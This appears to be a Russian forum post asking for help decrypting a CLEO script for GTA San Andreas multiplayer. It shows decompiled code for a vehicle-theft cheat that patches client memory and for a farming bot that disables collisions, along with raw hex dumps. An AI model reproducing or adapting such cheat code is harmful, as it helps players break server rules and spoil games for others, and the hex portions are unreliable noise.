27 23 A2 47 46 1E 8C 0D 0B 27 23 A2 47 46 0C 6A
3A 82 A7 66 5F 66 5F EE DE A4 DB 6C 6C E7 25 86
43 13 F4 32 E2 7E E2 05 72 8D 1B 7D AD B2 FC 37
B5 62 BD 24 CE 7A 17 74 AF A6 5E 2C 2B CA 05 6E
12 DD D4 27 8F 84 53 3D 53 9F 34 CE 06 07 0C 66
DD E6 2E 4F C5 2C 92 4F 22 76 3C E4 9B 86 4A 57
0E 12 0D B5 52 64 EA 0B BF B6 CC C4 AE 07 8D 93
CE 2C C4 CE 3E 35 0D A7 CC 0B 17 47 23 EA 7C 6B
E6 AD B3 37 46 E7 B2 9C B2 DF 1E 5E 05 7F 22 85
45 7C 4B AD 9A 64 3C B5 E3 B3 B2 B7 85 CF B7 4C
16 CE D3 AD E4 CE AD A4 45 1B 8D D2 62 0A 2C 04
73 E4 FF 26 3E 4C D4 2B DD 6C F2 C4 A5 8A D6 24
A6 6E 53 0D 1F 8B F2 53 BA 1A D4 F2 92 0F 5C CC
76 C6 E2 3D 0D AF 4F 3B 6C A3 CC 73 B5 A6 6C EF
3B 9F 2E AA 0A 95 2E 17 C5 06 CA 4A D3 9E F2 4A
5D 95 05 3E 73 BE C4 52 26 0B 0C 6E E5 9D 66 0E
AF 04 E5 5B 57 12 C2 86 6E 97 53 05 87 FC F3 2C
07 97 2D F3 6F 5B EE D4 32 07 DA 63 B7 1D B7 64
95 66 42 52 47 74 85 9E 74 6E E3 F7 42 86 9B F4
D4 F3 1E 4B FE 46 5E C2 C3 9A 4C 85 FD BB 0F 93
D2 AC 96 72 06 DE D5 A3 56 9A 2C 97 72 8A DB 85
BC FD 12 37 74 7F E7 0C C3 9D 2B B5 05 66 BB C3
5A 7F 6C 47 3C 8E 62 BB 0E 0A 17 34 BC 4B A6 F6
D4 CE 5F 3F 6D 7F C5 AD F5 0C C6 67 92 63 6C EB
BC 82 E7 ED 87 35 1B AC FD 33 83
end
000D:
hex
00 5F 5F 53 42 46 54 52
Расшифруйте пожалуйста
Код:
// This file was decompiled using SASCM.ini published by GTAG (http://gtag.gtagaming.com/opcode-database) on 14.6.2013
{$CLEO .cs}

//-------------MAIN---------------
0000: NOP 
0BE3: raknet setup_incoming_rpc_hook -570 
0B34: samp register_client_command "rproubar" to_label @Noname_33 
0006: 23@ = 0 

:Noname_33
00D6: if 
0039:   23@ == 1 
004D: jump_if_false @Noname_138 
0006: 23@ = 0 
0B2D: write_samp_memory offset 83680 value 28@ size 2 
0AD1: show_formatted_text_highpriority "~w~Ladrao de Veiculos by ~b~blueN#6285: ~r~Desativado" time 1000 
0002: jump @Noname_217 

:Noname_138
0006: 23@ = 1 
0B2D: write_samp_memory offset 83680 value 50064 size 2 
0AD1: show_formatted_text_highpriority "~w~Ladrao de veiculos by ~b~blueN#6285: ~g~Ativado" time 1000 

:Noname_217 // Note: a jump to this label will crash the game
Код:
03A4: name_thread 'MGA_D_FERMA' 
0001: wait 0 ms 
0006: 10@ = 13098328 
0000: NOP 

:MGA_D_FERMA_35
0001: wait 0 ms 
00D6: if and
0AB0:   key_pressed 75 
0AB0:   key_pressed 77 
004D: jump_if_false @MGA_D_FERMA_35 

:MGA_D_FERMA_58
0001: wait 0 ms 
00D6: if or
0AB0:   key_pressed 75 
0AB0:   key_pressed 77 
004D: jump_if_false @MGA_D_FERMA_107 
0ACD: show_text_highpriority "Bot Starting" time 1500 
0002: jump @MGA_D_FERMA_58 

:MGA_D_FERMA_107
01F5: $PLAYER_ACTOR = get_player_actor $PLAYER_CHAR 
00A0: store_actor $PLAYER_ACTOR position_to 20@ 21@ 22@ 
000F: 22@ -= 1.0 

:MGA_D_FERMA_139
0001: wait 0 ms 
0050: gosub @MGA_D_FERMA_822 
00D6: if 
0050: gosub @MGA_D_FERMA_790 
004D: jump_if_false @MGA_D_FERMA_306 
00D6: if 
0050: gosub @MGA_D_FERMA_411 
004D: jump_if_false @MGA_D_FERMA_246 
00D6: if 
80ED:   not actor $PLAYER_ACTOR sphere 0 near_point 3@ 4@ radius 0.9 0.9 on_foot 
004D: jump_if_false @MGA_D_FERMA_239 
05D3: AS_actor $PLAYER_ACTOR goto_point 3@ 4@ 5@ mode 6 time 3000 ms // versionA 

:MGA_D_FERMA_239
0002: jump @MGA_D_FERMA_299 

:MGA_D_FERMA_246
00D6: if 
80ED:   not actor $PLAYER_ACTOR sphere 0 near_point 20@ 21@ radius 0.9 0.9 on_foot 
004D: jump_if_false @MGA_D_FERMA_299 
05D3: AS_actor $PLAYER_ACTOR goto_point 20@ 21@ 22@ mode 6 time 3000 ms // versionA 

:MGA_D_FERMA_299
0002: jump @MGA_D_FERMA_139 

:MGA_D_FERMA_306
0001: wait 0 ms 
00D6: if or
0AB0:   key_pressed 75 
0AB0:   key_pressed 77 
004D: jump_if_false @MGA_D_FERMA_35 
00A0: store_actor $PLAYER_ACTOR position_to 20@ 21@ 22@ 
000F: 22@ -= 1.0 
0001: wait 0 ms 
04D7: set_actor $PLAYER_ACTOR locked 0 
00A1: put_actor $PLAYER_ACTOR at 20@ 21@ 22@ 
0050: gosub @MGA_D_FERMA_1165 
0ACD: show_text_highpriority "Bot Stopping" time 1500 
0002: jump @MGA_D_FERMA_306 

:MGA_D_FERMA_411
0007: 7@ = 30.0 
0006: 8@ = -1 
0006: 6@ = 0 

:MGA_D_FERMA_435
8029:   not  6@ >= 32 
004D: jump_if_false @MGA_D_FERMA_617 
0085: 14@ = 6@ // (int) 
0012: 14@ *= 160 
0A8E: 13@ = 10@ + 14@ // int 
0A8E: 11@ = 13@ + 48 // int 
0A8D: 3@ = read_memory 11@ size 4 virtual_protect 0 
0A8E: 11@ = 13@ + 52 // int 
0A8D: 4@ = read_memory 11@ size 4 virtual_protect 0 
00D6: if and
8043:   not  3@ == 0.0 
8043:   not  4@ == 0.0 
004D: jump_if_false @MGA_D_FERMA_603 
0509: 12@ = distance_between_XY 3@ 4@ and_XY 20@ 21@ 
00D6: if 
8035:   not  12@ >= 7@ // (float) 
004D: jump_if_false @MGA_D_FERMA_603 
0087: 7@ = 12@ // (float) 
0085: 8@ = 6@ // (int) 

:MGA_D_FERMA_603
000A: 6@ += 1 
0002: jump @MGA_D_FERMA_435 

:MGA_D_FERMA_617
00D6: if 
0039:   8@ == -1 
004D: jump_if_false @MGA_D_FERMA_644 
059A:   return_false 
0002: jump @MGA_D_FERMA_788 

:MGA_D_FERMA_644
0085: 14@ = 8@ // (int) 
0012: 14@ *= 160 
0A8E: 13@ = 10@ + 14@ // int 
0A8E: 11@ = 13@ + 84 // int 
0A8D: 16@ = read_memory 11@ size 4 virtual_protect 0 
00D6: if 
0039:   16@ == 0 
004D: jump_if_false @MGA_D_FERMA_720 
059A:   return_false 
0002: jump @MGA_D_FERMA_788 

:MGA_D_FERMA_720
0A8E: 11@ = 13@ + 48 // int 
0A8D: 3@ = read_memory 11@ size 4 virtual_protect 0 
0A8E: 11@ = 13@ + 52 // int 
0A8D: 4@ = read_memory 11@ size 4 virtual_protect 0 
0A8E: 11@ = 13@ + 56 // int 
0A8D: 5@ = read_memory 11@ size 4 virtual_protect 0 
0485:   return_true 

:MGA_D_FERMA_788
0051: return 

:MGA_D_FERMA_790
00D6: if and
0AB0:   key_pressed 75 
0AB0:   key_pressed 77 
004D: jump_if_false @MGA_D_FERMA_818 
059A:   return_false 
0002: jump @MGA_D_FERMA_820 

:MGA_D_FERMA_818
0485:   return_true 

:MGA_D_FERMA_820
0051: return 

:MGA_D_FERMA_822
00D6: if 
00DF:   actor $PLAYER_ACTOR driving 
004D: jump_if_false @MGA_D_FERMA_846 
03C0: 10@ = actor $PLAYER_ACTOR car 

:MGA_D_FERMA_846
00D6: if 
0AE3: 9@ = random_object_near_point 0.0 0.0 0.0 in_radius 6000.0 find_next 0 //IF and SET 
004D: jump_if_false @MGA_D_FERMA_932 

:MGA_D_FERMA_884
0382: set_object 9@ collision_detection 0 
0750: set_object 9@ visibility 0 
8AE3:   not 9@ = random_object_near_point 0.0 0.0 0.0 in_radius 6000.0 find_next 1 //IF and SET 
004D: jump_if_false @MGA_D_FERMA_884 

:MGA_D_FERMA_932
00D6: if 
0AE2: 9@ = random_vehicle_near_point 0.0 0.0 0.0 in_radius 6000.0 find_next 0 pass_wrecked 1 //IF and SET 
004D: jump_if_false @MGA_D_FERMA_1034 

:MGA_D_FERMA_972
00D6: if 
803B:   not  9@ == 10@ // (int) 
004D: jump_if_false @MGA_D_FERMA_998 
099A: set_car 9@ collision_detection 0 

:MGA_D_FERMA_998
8AE2:   not 9@ = random_vehicle_near_point 0.0 0.0 0.0 in_radius 6000.0 find_next 1 pass_wrecked 1 //IF and SET 
004D: jump_if_false @MGA_D_FERMA_972 

:MGA_D_FERMA_1034
00D6: if 
0AE1: 9@ = random_actor_near_point 0.0 0.0 0.0 in_radius 6000.0 find_next 0 pass_deads 1 //IF and SET 
004D: jump_if_false @MGA_D_FERMA_1163 

:MGA_D_FERMA_1074
0619: enable_actor 9@ collision_detection 0 
0A96: 10@ = actor 9@ struct 
000A: 10@ += 66 
0A8D: 9@ = read_memory 10@ size 4 virtual_protect 0 
08BD: set 9@ bit 0 
0A8C: write_memory 10@ size 4 value 9@ virtual_protect 0 
8AE1:   not 9@ = random_actor_near_point 0.0 0.0 0.0 in_radius 6000.0 find_next 1 pass_deads 1 //IF and SET 
004D: jump_if_false @MGA_D_FERMA_1074 

:MGA_D_FERMA_1163
0051: return 

:MGA_D_FERMA_1165
00D6: if 
00DF:   actor $PLAYER_ACTOR driving 
004D: jump_if_false @MGA_D_FERMA_1189 
03C0: 10@ = actor $PLAYER_ACTOR car 

:MGA_D_FERMA_1189
00D6: if 
0AE3: 9@ = random_object_near_point 0.0 0.0 0.0 in_radius 6000.0 find_next 0 //IF and SET 
004D: jump_if_false @MGA_D_FERMA_1275 

:MGA_D_FERMA_1227
0382: set_object 9@ collision_detection 1 
0750: set_object 9@ visibility 1 
8AE3:   not 9@ = random_object_near_point 0.0 0.0 0.0 in_radius 6000.0 find_next 1 //IF and SET 
004D: jump_if_false @MGA_D_FERMA_1227 

:MGA_D_FERMA_1275
00D6: if 
0AE2: 9@ = random_vehicle_near_point 0.0 0.0 0.0 in_radius 6000.0 find_next 0 pass_wrecked 1 //IF and SET 
004D: jump_if_false @MGA_D_FERMA_1377 

:MGA_D_FERMA_1315
00D6: if 
803B:   not  9@ == 10@ // (int) 
004D: jump_if_false @MGA_D_FERMA_1341 
099A: set_car 9@ collision_detection 1 

:MGA_D_FERMA_1341
8AE2:   not 9@ = random_vehicle_near_point 0.0 0.0 0.0 in_radius 6000.0 find_next 1 pass_wrecked 1 //IF and SET 
004D: jump_if_false @MGA_D_FERMA_1315 

:MGA_D_FERMA_1377
00D6: if 
0AE1: 9@ = random_actor_near_point 0.0 0.0 0.0 in_radius 6000.0 find_next 0 pass_deads 1 //IF and SET 
004D: jump_if_false @MGA_D_FERMA_1506 

:MGA_D_FERMA_1417
0619: enable_actor 9@ collision_detection 1 
0A96: 10@ = actor 9@ struct 
000A: 10@ += 66 
0A8D: 9@ = read_memory 10@ size 4 virtual_protect 0 
08C3: clear 9@ bit 0 
0A8C: write_memory 10@ size 4 value 9@ virtual_protect 0 
8AE1:   not 9@ = random_actor_near_point 0.0 0.0 0.0 in_radius 6000.0 find_next 1 pass_deads 1 //IF and SET 
004D: jump_if_false @MGA_D_FERMA_1417 

:MGA_D_FERMA_1506
0051: return 
hex
 45 00 56 41
end
0052: NOP &0 
hex
 50 4C 41 59 45 52 5F 41 43 54 4F 52 00 03 00 00
 00 50 4C 41 59 45 52 5F 43 48 41 52 00 02 00 00
 00 E4
 
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